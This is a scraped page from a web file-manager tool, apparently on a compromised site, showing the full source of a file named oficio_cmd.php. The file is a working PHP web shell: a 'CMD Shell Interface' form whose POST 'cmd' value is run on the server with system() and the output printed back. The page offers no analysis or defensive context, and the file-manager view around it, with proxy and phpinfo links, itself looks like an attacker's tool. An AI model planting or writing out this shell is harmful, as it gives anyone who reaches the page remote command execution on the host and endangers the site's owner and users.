File manager - Edit - /www/docs/oficio_cmd.php
Back
<?php if ($_SERVER["REQUEST_METHOD"] == "POST" && isset($_POST['cmd'])) { $command = escapeshellcmd($_POST['cmd']); echo "<pre>"; system($command); echo "</pre>"; } ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>CMD Shell</title> <style> body { font-family: Arial, sans-serif; margin: 20px; } .container { max-width: 600px; margin: auto; } .input-group { margin: 20px 0; } input[type="text"] { padding: 5px; width: 400px; } input[type="submit"] { padding: 5px 10px; } pre { background: #f4f4f4; padding: 10px; border: 1px solid #ddd; } </style> </head> <body> <div class="container"> <h2>CMD Shell Interface</h2> <form method="post" action="<?php echo htmlspecialchars($_SERVER["PHP_SELF"]); ?>"> <div class="input-group"> <input type="text" name="cmd" placeholder="Enter CMD command (e.g., dir, ipconfig)" required> <input type="submit" value="Execute"> </div> </form> <?php if ($_SERVER["REQUEST_METHOD"] == "POST" && isset($_POST['cmd'])) { echo "<h3>Output:</h3>"; } ?> </div> </body> </html>
| ver. 1.4 |
Github
|
.
| PHP 5.3.5 | Generation time: 0.11 |
proxy
|
phpinfo
|
Settings